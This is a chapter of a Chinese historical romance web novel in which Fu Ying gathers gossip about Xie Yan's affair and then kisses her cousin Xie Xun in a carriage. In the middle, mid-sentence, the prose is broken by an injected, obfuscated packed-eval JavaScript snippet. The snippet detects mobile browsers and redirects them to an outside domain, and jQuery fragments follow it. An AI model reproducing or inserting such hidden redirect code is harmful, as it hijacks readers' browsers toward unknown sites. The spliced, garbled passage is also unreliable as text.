薛颂仪现在对她再信任不过,听她问也就没有隐瞒:“还不是你们谢家那个二郎君,居然在我们府上胡作非为,与江涟漪那个妹妹暗通款曲,还被人发现了,现在我母亲要给姐姐退了婚事。”
她语中尽是对谢砚的不满:“我早就跟母亲说了,谢砚不是什么好人,她偏不信,说什么谢家世代清流,家中子弟定然也教养得极好,我母亲嫌弃咱们一家舞枪弄棒的,一心想找个书香世家子弟做女婿,他本是看上谢浔的,但谢浔这人太过高傲,母亲怕姐姐受冷落,便挑中了谢砚。”
“此人惯会在人前装模作样,装得一副谦谦世家公子模样,就连母亲都被他骗了!”
扶楹没想到,原来薛颂仪早就知道谢砚的真面目,只是:“阿仪怎么知晓,谢砚是这样的人?”
薛颂仪道:“他招惹江映荷之事我早就有所耳闻,当日是江家宴席,江映荷在江家主母跟前受了委屈,一个人坐在荷花池边哭,谢砚上去安慰人家,还送人家一枚贴身佩戴的玉佩,后来就经常借各府宴饮时与她私会。”
许是瞧出扶楹的疑惑,她多解释了句:“我虽然与江涟漪不合,但她与我姐姐是手帕交,我们两家经常往来,此事江涟漪也是知道的,也是她告诉我姐姐的。”
说到此,她刻意压低了声音:“这事儿是我偷偷听墙角听来的,不能让我姐姐知道。”
扶楹笑着应:“好,我不跟别人说。”
两人下意识都放低了声调,薛颂仪继续道:“昨晚的事,我听母亲身边的嬷嬷说,谢二夫人当时一口咬定是江映荷给谢砚下药,这事儿是真的吗?”
扶楹有心套话,便对她实话实说:“昨夜听二舅母是这么说的,具体是不是真的我不知。”
薛颂仪轻声嗤笑:“管他是不是真的,都是谢砚活该,谁让他不要脸去招惹人家!”
她对谢砚的意见可太大了,扶楹心里虽认同,但嘴上并没说出来。
她面露好奇:“若此事是真的,江四姑娘竟有这般本事,能忠勇侯府上,将事情做得这般滴水不漏?”
薛颂仪耸了耸肩:“谁知道呢,你别看她在江府受尽冷落,她心思可多着呢,而且此事只是谢二夫人一家之言,说不定只是她找来给谢砚开脱的借口,谢砚那样的人,不用下药也做得出这等事。”
话说到这份上,扶楹也知道从她这里得不到更多有用的消息了。
二人就着这事儿闲谈了几句,扶楹便起身告辞。
从忠勇侯府出来,扶楹抱着装着黄金的匣子提裙登上马车。
谢浔早已醒了,正坐在里面看书,马车帘子被掀起,他才抬眼看来。
扶楹被他不经意的一眼,看得莫名紧张,她抱着匣子在他对面落座。
谢浔顺着视线看向她怀抱的匣子,猜测是她得的酬金,并未多问。
扶楹理好裙裾,将匣子放在一侧,才将探来的消息告知他:“薛颂仪与此事无关,但旁的从她这里也查不出什么。”
她早前怀疑过薛颂仪,但今日瞧她作派,闻她说话,她几乎可以断定,此事不是薛颂仪帮着做得。
至于昨日她为何来花园,她既然早就知晓谢砚与江映荷不清白,又如此反对谢砚与她姐姐订亲,昨日兴许是得知谢砚与江映荷私会,特意赶去捉奸,好说服忠勇侯夫人退婚。
只是被她和谢清棠先一步无意撞破,这才坏了她的事。
“此事与薛二姑娘无关,但薛大姑娘可不一定。”
扶楹说出这句,瞥见谢浔投来的疑惑目光,解释道:“薛大姑娘早就知晓谢砚与江映荷的私情,但她母亲一心想让她与谢砚订亲,她拒绝不了,难免生出其他心思,借此来破坏婚事。”
依照薛颂仪所说,忠勇侯夫人是个颇固执己见之人,她不信薛颂仪的话,认为谢砚是个如兰君子,那么薛大姑娘的话她自然也不肯信。
若想要退了这门婚事,薛大姑娘难免会出此下策。
也唯有如此才说得通,江映荷一个深受排挤的江家庶女,如何能在在忠勇府为所欲为。
除非是有薛大姑娘相助,二人合作收拾一个谢砚,再简单不过。
也唯有这两人,才是退婚后的最大得益者。
薛大姑娘顺利退婚,江映荷如愿嫁给谢砚,一箭双雕。
想通其中环节,扶楹抬眼看向沉默不语的谢浔:“不过这只是我的猜测,到底是没有实证的事,不能就此下定论。”
谢浔微颔首:“我知道了,剩下的事交给我。”
扶楹能做的也就这么多,自然点头说好。
说完正事,两人又无端陷入沉默。
马车驶入闹市,周围买卖吆喝声此起彼伏,热闹的集市上,行人四处穿行。
忙着在摊子前买东西的妇人,一时不察,跟在身边的小女儿跟着掉落的玩具,一路追到了马车前。
车夫眼疾手快,连忙勒马,马儿受惊,马蹄高扬,端坐马车内的两人,被突如其来的变故颠得身子歪斜。
扶楹忙着去扶自己那匣子黄金,双手没有支撑,直接被这颠簸的力道甩向马车门帘。
几乎可以想见,她掉出马车后,摔得头破血流狼狈不堪的模样。
她口中惊呼一声,腰上瞬间缠上一只有力的胳膊,将她飞出去的力道生生截了回来。
扶楹被人用力捞回,像只断线的风筝,直直摔进男人怀中。
她飞出的力道太大,拉她回来的力气也用得不小,以致扶楹摔进谢浔怀里,还将他身子撞歪,生生撞在身后的马车车壁上。
“咚”的一声,扶楹怀疑自己将他的后脑勺都撞坏了。
谢浔只觉得后脑一痛,眼前一阵恍惚,怀中人跌坐在他腿上,双手因为惊吓还死死抱着檀木匣子,指尖用力到泛白,一张小脸也煞白煞白的,额间还被吓出了冷汗。
扶楹连忙将匣子放在一侧,抬手去摸他的后脑勺,关切问:“大表兄没事吧?可伤着了?”
她还保持着坐在他怀里的姿势,为了关心他的伤势,直接用双手环绕过他的脖颈,摸在他隐隐作痛的后脑勺上。
她的脸靠在他颊边,努力伸长
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15548861|170880||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
脖子往他脑后看,皮肤的温度隐隐传来,伴着丝丝缕缕的梅香无孔不入地钻入鼻端。
谢浔眸光一暗,乱了呼吸。
扶楹着急看他的伤,用手摸了半晌,没摸到肿胀的地方,才放心地松了口气。
紧绷的情绪撤走,她才反应过来,自己如今的姿势有多不雅。
她整个人坐在一双有力的腿上,双手环抱他脖颈,就仿佛,她故意搂着他,在他颈侧撒娇一般。
扶楹心跳乱了一拍,随即听见耳边的呼吸声,急促而凌乱。
仅仅听着这声音,便觉得耳根发热,难忍心中羞耻。
扶楹抬眼看向他红透的耳廓,突然起了坏心思。
她想听他更乱的呼吸声。
扶楹轻轻朝着那耳朵吹了口气,柔柔的,带着雪中春信的香气。
身下之人毫无意外,浑身绷得僵硬,本就紊乱的呼吸缠上粗重的细喘,无端令人浮想联翩。
搭在她腰上的手悄然收紧,似是难以克制地,将她搂紧,令她整个人贴在滚烫的身躯上。
扶楹被这热意浇灌,浑身跟着沸腾起来,她贴靠在谢浔胸口,听着耳边一阵强过一阵的心跳,如鼓槌,密密麻麻敲打在鼓面上。
谢浔身子僵直地坐在原地,眼神迷离望着对面车壁,整个人思绪不知飘到了何方,就连马车外车夫在说什么都没听清。
马车没伤到人,车夫呵斥了小女孩的母亲,待她们走远,才继续让马车行驶起来。
马车内,二人仿佛被人按了暂停键,就保持着相拥的姿势没动,也没说话。
好半晌,扶楹才撑起身子,看着面前愣神之人,她柔柔唤了声:“大表兄……”
声音又柔又软,在耳边百转千回,似娇嗔、似暗示。
谢浔垂眸看向她。
她今日依旧化了精致的妆容,鬓间步摇悬挂三串白玉珠串,恰恰垂坠在她额间,映着她秋波暗送的眉眼,太撩人……
谢浔忍不住颤了下搂着她的手,闭上眼强忍汹涌澎湃的冲动。
扶楹仰首瞧着他,分明眼下尽是情潮的薄红,还便生要竭力装出一副清冷自持的模样。
她突然想到李斯羡,若想要彻底摆脱他,赶他出上京,她需要一个助力。
谢二夫人那边步步紧逼,即便她借着老夫人拒绝了李斯羡,兰流芳难免会给她找下一个,她必须要彻底断了她的念想。
而眼前这个情动不已,却仍竭力自持的人,就是最好的助力。
这般想着,扶楹心念一定,她双手搭在他肩上,仰头将唇轻轻印在谢浔紧抿泛着潮红的唇上。
有什么东西在那一瞬间塌了。
谢浔身子剧烈颤动了一下,唰地睁开眼,牢牢盯着闭眼亲他的女郎面上。
扶楹贴了片刻,离开看他,见他眼中暗潮涌动,似要将她席卷、撕碎……
扶楹身子一抖,怂了。
恰巧马车在此时停下,车夫在外提醒:“大郎君、表姑娘,到了。”
谢浔如梦初醒,却死死搂着她不肯放。